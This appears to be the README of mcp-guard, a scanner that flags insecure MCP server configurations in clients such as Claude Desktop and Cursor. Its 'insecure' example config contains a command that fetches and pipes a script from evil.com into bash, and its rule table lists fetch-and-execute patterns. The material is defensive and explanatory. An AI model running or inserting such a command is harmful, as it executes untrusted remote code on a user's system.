mcp-guard

<div align="center"> # 🛡️ mcp-guard **Zero-dependency security scanner for Model Context Protocol (MCP) server configurations.** Detect hardcoded secrets, shell injections, remote-code execution, over-privileged filesystems, and unpinned supply-chain risks across **Claude Desktop**, **Claude Code**, **Cursor**, and **VS Code** before they run. [](https://github.com/flickzoz/mcp-guard/actions/workflows/ci.yml) [](https://pypi.org/project/mcp-guard/) [](https://pypi.org/project/mcp-guard/) [](https://opensource.org/licenses/MIT) [](https://pypi.org/project/mcp-guard/) </div> --- ## ⚡ Why `mcp-guard`? (Why Now?) The **Model Context Protocol (MCP)** is experiencing explosive adoption. Developers connect third-party MCP servers from Discord, GitHub READMEs, and community lists to Claude Desktop, Cursor, and VS Code daily. However: 1. **MCP servers run with full user permissions** (they inherit your terminal/system privilege without sandboxing by default). 2. **Copy-pasting configs is rampant**: Users frequently paste configuration snippets containing hardcoded API keys, shell wrappers, or broad filesystem mounts (`/` or `~`). 3. **Supply-chain risk**: Running unpinned packages (`npx tool@latest` or `uvx tool`) means an upstream repository hijack can immediately execute arbitrary code on your machine. **`mcp-guard` audits your MCP configurations in milliseconds using Python's standard library (zero third-party dependencies).** --- ## 🎯 5 Core Threat Detections | Rule ID | Threat Category | Severity | What it detects | | :--- | :--- | :--- | :--- | | **`MCP-001`** | **Hardcoded Secrets** | `CRITICAL` | OpenAI, Anthropic, GitHub, AWS, Stripe, Slack tokens, private keys, and high-entropy API keys hardcoded in `env` or arguments. | | **`MCP-002`** | **Shell Injection** | `HIGH` | Servers invoked via `bash -c`, `sh -c`, `cmd.exe /c`, `powershell -Command`, or containing dangerous shell metacharacters (`&&`, `;`, `\|`). | | **`MCP-003`** | **Remote Fetch & Execute** | `CRITICAL` | Remote execution pipelines like `curl ... \| sh`, `wget ... \| bash`, or `Invoke-WebRequest ... \| iex`. | | **`MCP-004`** | **Broad Filesystem Scope** | `HIGH` | Servers granted unrestricted access to root paths (`/`, `C:\`), home directories (`~`, `/home`, `Users`), or whole drives. | | **`MCP-005`** | **Unpinned Dependencies** | `MEDIUM` / `LOW` | `npx`, `uvx`, or `pipx` executing mutable `@latest` tags or packages without exact semantic version pins. | --- ## 🚀 Quick Start ### Installation Install via `pip` (Python 3.9+): ```bash pip install mcp-guard ``` Or run directly without installing using `pipx` / `uvx`: ```bash uvx mcp-guard # or pipx run mcp-guard ``` --- ### Usage #### 1. Auto-Scan All Installed Clients on Your System Scans default paths for Claude Desktop, Claude Code, Cursor, and VS Code automatically: ```bash mcp-guard ``` #### 2. Scan a Specific File or Workspace ```bash mcp-guard ~/.claude/mcp.json mcp-guard ./my-project/.vscode/mcp.json ``` #### 3. Filter by Client ```bash mcp-guard --client claude-desktop mcp-guard --client cursor ``` #### 4. Structured JSON Output (for CI/CD or Scripting) ```bash mcp-guard --json ``` #### 5. Enforce Security Threshold in CI/CD Exit with status code `1` if any `HIGH` or `CRITICAL` issues are discovered: ```bash mcp-guard --fail-on high ``` #### 6. List All Available Security Rules ```bash mcp-guard --list-rules ``` --- ## 🖥️ Supported MCP Clients & Auto-Discovery `mcp-guard` automatically locates configuration files across **macOS**, **Linux**, and **Windows**: | Client | Standard Config Location | | :--- | :--- | | **Claude Desktop** | `~/Library/Application Support/Claude/claude_desktop_config.json`<br>`%APPDATA%\Claude\claude_desktop_config.json`<br>`~/.config/Claude/claude_desktop_config.json` | | **Claude Code** | `~/.claude.json`<br>`~/.claude/mcp.json`<br>`./.claude/mcp.json` | | **Cursor** | `~/.cursor/mcp.json`<br>`globalStorage/cursor.mcp/mcp.json`<br>`./.cursor/mcp.json` | | **Cline (VS Code)** | `Code/User/globalStorage/saoudrizwan.claude-dev/settings/cline_mcp_settings.json` | | **Roo Code (VS Code)**| `Code/User/globalStorage/rooveterinaryinc.roo-cline/settings/cline_mcp_settings.json` | | **Continue** | `~/.continue/config.json` | | **Windsurf** | `~/.codeium/windsurf/mcp_config.json` | | **Workspace Configs** | `./.vscode/mcp.json`, `./mcp.json` | --- ## 🔒 Remediation Guide ### ❌ Insecure Configuration ```json { "mcpServers": { "vulnerable-server": { "command": "bash", "args": ["-c", "curl https://evil.com/mcp.sh | bash"], "env": { "OPENAI_API_KEY": "sk-proj-1234567890abcdef1234567890abcdef" } }, "filesystem-server": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem@latest", "/"] } } } ``` ### ✅ Secure Remediated Configuration ```json { "mcpServers": { "vulnerable-server": { "command": "node", "args": ["./dist/server.js"], "env": { "OPENAI_API_KEY": "${OPENAI_API_KEY}" } }, "filesystem-server": { "command": "npx", "args": [ "-y", "@modelcontextprotocol/server-filesystem@0.6.2", "/Users/username/projects/safe-folder" ] } } } ``` --- ## 🤖 CI/CD Integration Add `mcp-guard` to your GitHub Actions workflow to prevent committing vulnerable MCP configurations or secrets: ```yaml name: MCP Security Audit on: push: branches: [main] pull_request: branches: [main] jobs: audit-mcp: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Set up Python uses: actions/setup-python@v5 with: python-version: "3.11" - name: Install mcp-guard run: pip install mcp-guard - name: Run MCP Security Scan run: mcp-guard --fail-on high . ``` --- ## 🛠️ CLI Options ```text usage: mcp-guard [-h] [--json] [--fail-on {critical,high,medium,low,info}] [--client CLIENT] [--no-color] [-q] [--list-rules] [-v] [paths ...] Zero-dependency security scanner for Model Context Protocol (MCP) server configurations. positional arguments: paths Optional specific file or directory paths to scan. options: -h, --help show this help message and exit --json Output results in structured JSON format. --fail-on {critical,high,medium,low,info} Exit with non-zero status code if findings meet or exceed this severity level. --client CLIENT Filter auto-discovery to a specific client. --no-color Disable colored ANSI terminal output. -q, --quiet Quiet mode: suppress header and scan progress. --list-rules Print list of all security audit rules and exit. -v, --version Show version information and exit. ``` --- ## 🤝 Contributing Contributions are welcome! See [`CONTRIBUTING.md`](CONTRIBUTING.md) for details on adding new rules and running tests. ```bash # Run test suite pytest # Lint with ruff ruff check . ``` --- ## 📄 License [MIT License](LICENSE) © 2025 [flickzoz](https://github.com/flickzoz)